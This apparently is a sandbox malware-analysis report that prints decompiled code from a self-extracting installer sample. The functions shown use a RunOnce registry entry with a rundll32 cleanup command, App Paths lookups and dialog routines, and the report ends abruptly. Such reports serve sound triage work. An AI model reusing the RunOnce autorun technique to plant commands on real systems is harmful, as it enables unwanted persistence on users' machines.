GetDesktopWindow.USER32 ref: 008635C7
GetDlgItem.USER32(?,0000083B), ref: 008635F1
SendMessageA.USER32(00000000), ref: 008635F8
GetDlgItem.USER32(?,0000083B), ref: 00863610
SendMessageA.USER32(00000000), ref: 00863617
SetWindowTextA.USER32(?,herso), ref: 00863623
CreateThread.KERNEL32 ref: 00863637
EndDialog.USER32(?,00000000), ref: 00863671

Strings

herso, xrefs: 0086361D

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: herso
API String ID: 2406144884-3992069730
Opcode ID: df693269b096d80a3b8bd838a778da1c21e41fddf954da649bd7d05b46df9dce
Instruction ID: 3efca264dda332f53276de00d840d7eb5ac7a675ea4d979d21fd54b3af8bd227
Opcode Fuzzy Hash: df693269b096d80a3b8bd838a778da1c21e41fddf954da649bd7d05b46df9dce
Instruction Fuzzy Hash: 4B31A0B0240300BBDB241F25EC4DE2A3A69F796B01F136629F617E62A0CFB58A00DE55

Uniqueness

Uniqueness Score: -1.00%

Function 00864224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00864224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E008644B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x8688c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x8687a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x868598;
					_v36 = 1;
					_v32 = E00864200;
					_v28 = 0x8688c0;
					 *0x86a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x86a288(_t32, 0x8688c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x8688c0 != 0) {
							E00861680(0x8687a0, 0x104, 0x8688c0);
						}
						 *0x86a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x8687a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x8688c0);
					_t61 = 0x8688c0;
					_t4 =  &(_t61[1]); // 0x8688c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x8688c0; // 0x10d1181
					_t44 = CharPrevA(0x8688c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x8688c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00864234
0x0086423c
0x00864240
0x008643b2
0x008643b7
0x008643c0
0x00000000
0x008643c5
0x0086424c
0x00864252
0x00864257
0x008643a4
0x008643a5
0x008643ab
0x00000000
0x008643ab
0x00864263
0x00864269
0x0086426e
0x00000000
0x00000000
0x0086427a
0x00864280
0x00864285
0x00000000
0x00000000
0x0086428d
0x00864293
0x008642e6
0x008642e9
0x008642ef
0x008642f4
0x008642f7
0x00864300
0x00864307
0x0086430e
0x00864315
0x0086431c
0x00864322
0x00864326
0x0086432d
0x0086432d
0x0086432f
0x00864334
0x00864343
0x00864349
0x0086434d
0x00864354
0x00864354
0x0086435d
0x0086436e
0x0086436e
0x0086437d
0x00864383
0x00864387
0x0086438e
0x0086438e
0x00864387
0x00864391
0x00864399
0x00000000
0x00864295
0x0086429f
0x008642a5
0x008642aa
0x008642aa
0x008642ad
0x008642ad
0x008642af
0x008642b0
0x008642b6
0x008642c2
0x008642c8
0x008642ce
0x008642e4
0x008642e4
0x00000000
0x008642ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00864236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0086424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00864263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0086427A
GetTempPathA.KERNEL32(00000104,008688C0,?,00000001), ref: 0086429F
CharPrevA.USER32(008688C0,010D1181,?,00000001), ref: 008642C2
CharPrevA.USER32(008688C0,00000000,?,00000001), ref: 008642D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00864391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 008643A5

Strings

SHGetPathFromIDList, xrefs: 00864274
SHELL32.DLL, xrefs: 0086422F
SHBrowseForFolder, xrefs: 00864246

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 40ff0eab815e20acfe3bcaea07dc378ebfeacda7149f2ae75217bbc4e275fee5
Instruction ID: a9d99745daae66cb7c032c301ef749768f57d39942350bef7d9ca4bcf0445e8c
Opcode Fuzzy Hash: 40ff0eab815e20acfe3bcaea07dc378ebfeacda7149f2ae75217bbc4e275fee5
Instruction Fuzzy Hash: B741E5B4A00204EFD711AFA4EC98A6E7BB4FB45344F172269EA45E7351CFB48C45CB62

Uniqueness

Uniqueness Score: -1.00%

Function 008644B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E008644B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x868004; // 0xb82e2007
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x868a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x869a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00861680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E0086171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E0086171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E0086681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E008667C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "herso", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E0086681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E008667C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "herso", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00866CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x008644b9
0x008644c4
0x008644cb
0x008644d8
0x008644e4
0x008644eb
0x008644ee
0x008644ef
0x008644ef
0x008644f1
0x008644f7
0x008644f8
0x0086467b
0x008644fe
0x00864509
0x00864518
0x00864525
0x00864562
0x00864568
0x00864568
0x0086456b
0x0086456b
0x0086456d
0x0086456e
0x00864572
0x00864578
0x0086457c
0x008645cb
0x00864607
0x00864607
0x0086460d
0x00864613
0x00864617
0x00000000
0x0086461d
0x00864623
0x00864626
0x00864628
0x00000000
0x00864628
0x008645cd
0x008645cd
0x008645cf
0x008645cf
0x008645d2
0x008645d2
0x008645d4
0x008645d5
0x008645db
0x008645de
0x008645e3
0x008645e9
0x008645ed
0x00000000
0x008645f3
0x008645fd
0x00000000
0x00864602
0x008645ed
0x0086457e
0x0086457e
0x00864580
0x00864580
0x00864583
0x00864583
0x00864585
0x00864586
0x0086458a
0x0086458c
0x0086458f
0x0086458f
0x00864591
0x00864592
0x0086459b
0x0086459e
0x008645a3
0x008645a9
0x008645ad
0x00000000
0x008645af
0x008645af
0x008645bf
0x0086462d
0x00864630
0x0086463d
0x0086464e
0x0086464e
0x0086463f
0x00864640
0x00864647
0x0086464c
0x00000000
0x00000000
0x0086464c
0x00864666
0x0086466d
0x0086466f
0x00864675
0x00864675
0x008645ad
0x00864527
0x0086452e
0x0086453f
0x0086453f
0x00864530
0x00864531
0x00864538
0x0086453d
0x00000000
0x00000000
0x0086453d
0x00864554
0x0086455a
0x0086455a
0x0086455a
0x00864525
0x0086468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554
LocalAlloc.KERNEL32(00000040,00000065), ref: 008645A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 008645E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0086460D
MessageBeep.USER32(00000000), ref: 00864630
MessageBoxA.USER32(?,00000000,herso,00000000), ref: 00864666
LocalFree.KERNEL32(00000000), ref: 0086466F

Part of subcall function 0086681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0086686E
Part of subcall function 0086681F: GetSystemMetrics.USER32(0000004A), ref: 008668A7
Part of subcall function 0086681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 008668CC
Part of subcall function 0086681F: RegQueryValueExA.ADVAPI32(?,00861140,00000000,?,?,0000000C), ref: 008668F4
Part of subcall function 0086681F: RegCloseKey.ADVAPI32(?), ref: 00866902

Strings

LoadString() Error. Could not load string resource., xrefs: 008644E4
herso, xrefs: 00864545, 0086465A

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$herso
API String ID: 3244514340-1944528445
Opcode ID: a1920f022478b868445f151794235f325e591aa35404e2191e604e3dfd642892
Instruction ID: cf4616718ed0a6d44b11a6c52a5438071b21bab17ba0f953e7d5ae28a763c8e6
Opcode Fuzzy Hash: a1920f022478b868445f151794235f325e591aa35404e2191e604e3dfd642892
Instruction Fuzzy Hash: AA512672900219AFDB219F28CC48BAABB69FF46304F165194FD1AF7241DB71DD05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00862773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00862773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x868004; // 0xb82e2007
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00861781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E0086658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E0086658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x861140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00861680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00866CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00862773
0x0086277e
0x00862785
0x0086278a
0x0086278d
0x00862790
0x00862792
0x00862798
0x0086279d
0x008628b2
0x00000000
0x008627a3
0x008627a3
0x008627af
0x008627c2
0x008627c8
0x008627cd
0x008627d5
0x008628b7
0x008628b9
0x00000000
0x008627db
0x008627dd
0x008628aa
0x00000000
0x008627e3
0x008627e3
0x008627ec
0x008627f8
0x00862803
0x0086280b
0x00862831
0x008628c3
0x008628c9
0x008628cd
0x00862837
0x0086285a
0x0086285c
0x00862865
0x00862892
0x00862895
0x00000000
0x00000000
0x00862867
0x00862878
0x0086288c
0x00000000
0x0086287a
0x00862880
0x00862885
0x00862897
0x00862899
0x00862899
0x00862878
0x00862865
0x008628a0
0x008628bf
0x008628c1
0x00000000
0x00000000
0x008628c1
0x00862831
0x008627dd
0x008627d5
0x008628e5

APIs

CharUpperA.USER32(B82E2007,00000000,00000000,00000000), ref: 008627A8
CharNextA.USER32(0000054D), ref: 008627B5
CharNextA.USER32(00000000), ref: 008627BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862829
RegQueryValueExA.ADVAPI32(?,00861140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 008628A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 008628AA
GetSystemDirectoryA.KERNEL32 ref: 008628B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 008627E4

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: c62b548e544eb7d1ca769ce397ad3c97e6ff30a09d531ea96db3b49a7047107e
Instruction ID: c7783b8d520922d38472b43f9ae940d02927fb14c8c32ee714d15e5101d09e45
Opcode Fuzzy Hash: c62b548e544eb7d1ca769ce397ad3c97e6ff30a09d531ea96db3b49a7047107e
Instruction Fuzzy Hash: 7441A071E0012CABDB249B649C85AFA7BBDFB15700F0640E9F549E3101DBB48E858FA2

Uniqueness

Uniqueness Score: -1.00%

Function 00862267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00862267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x868004; // 0xb82e2007
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x868530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E0086658A( &_v268, 0x104, 0x861140);
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E0086171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00866CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00862272
0x00862277
0x00862279
0x00862283
0x00862289
0x008622ab
0x008622b1
0x008622c4
0x008622e0
0x008622e6
0x008622f5
0x0086230d
0x0086231c
0x0086231c
0x00862321
0x0086233a
0x00862342
0x00862348
0x0086234b
0x0086234c
0x0086234c
0x0086234e
0x0086234f
0x0086236e
0x0086236e
0x0086237a
0x00862380
0x00862380
0x00862381
0x00862381
0x0086238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 008622A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 008622D8
memset.MSVCRT ref: 008622F5
GetSystemDirectoryA.KERNEL32 ref: 00862305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0086236E
RegCloseKey.ADVAPI32(?), ref: 0086237A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00862321
wextract_cleanup0, xrefs: 0086227C, 008622CD, 00862363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0086232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00862299

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2554356261
Opcode ID: 96d67d3cb35d55b447b3a1d23522ac07955b32b630e7fb95cc1dae788ee53f96
Instruction ID: c2b70284af2f3de93c09b3704fb2902241385d9ad0a48ce81613d410f81f8bb0
Opcode Fuzzy Hash: 96d67d3cb35d55b447b3a1d23522ac07955b32b630e7fb95cc1dae788ee53f96
Instruction Fuzzy Hash: E131B471A00218ABDB219B55DC49FEA7B7CFB14700F0501E9F50DEA251EB75AB88CE51

Uniqueness

Uniqueness Score: -1.00%

Function 00863100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00863100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x868590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x868590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E008643D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x868d4c);
					SetWindowTextA(_t33, "herso");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x8688b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E008630C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00863108
0x0086310b
0x008631b7
0x008631ca
0x008631d0
0x008631d0
0x008631da
0x00000000
0x008631da
0x00863111
0x00863114
0x00863136
0x00863136
0x00863138
0x0086313b
0x00863141
0x00000000
0x00863143
0x00863116
0x0086311b
0x0086314b
0x00863151
0x00863158
0x0086316a
0x00863176
0x0086317d
0x0086318b
0x0086319e
0x008631a3
0x00000000
0x008631ad
0x00863120
0x00000000
0x00000000
0x0086312a
0x00863134
0x00000000
0x00000000
0x00000000
0x00863134
0x0086312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 0086313B
GetDesktopWindow.USER32 ref: 0086314B
SetDlgItemTextA.USER32(?,00000834), ref: 0086316A
SetWindowTextA.USER32(?,herso), ref: 00863176
SetForegroundWindow.USER32(?), ref: 0086317D
GetDlgItem.USER32(?,00000834), ref: 00863185
GetWindowLongA.USER32(00000000,000000FC), ref: 00863190
SetWindowLongA.USER32(00000000,000000FC,008630C0), ref: 008631A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 008631CA

Strings

herso, xrefs: 00863170

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: herso
API String ID: 3785188418-3992069730
Opcode ID: a3508c762be2b3bc47381a43c782c7d4980fe7d0b20f7addea1d5cf1dac7e47e
Instruction ID: 223c8366f1ce11e0392b50ca2571c9a0a2bc0a8cc94424a095986aace8c24681
Opcode Fuzzy Hash: a3508c762be2b3bc47381a43c782c7d4980fe7d0b20f7addea1d5cf1dac7e47e
Instruction Fuzzy Hash: ED11D331644255FBDB115F24AC0CB5A3A64FB4B724F131611F926E22E0DFF59A41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0086468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0086468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00864699
0x0086469b
0x008646a9
0x008646af
0x008646b4
0x008646bc
0x008646f9
0x00000000
0x008646f9
0x008646d9
0x008646dd
0x00000000
0x00000000
0x008646e5
0x008646ef
0x00000000
0x008646f5
0x008646ff

APIs

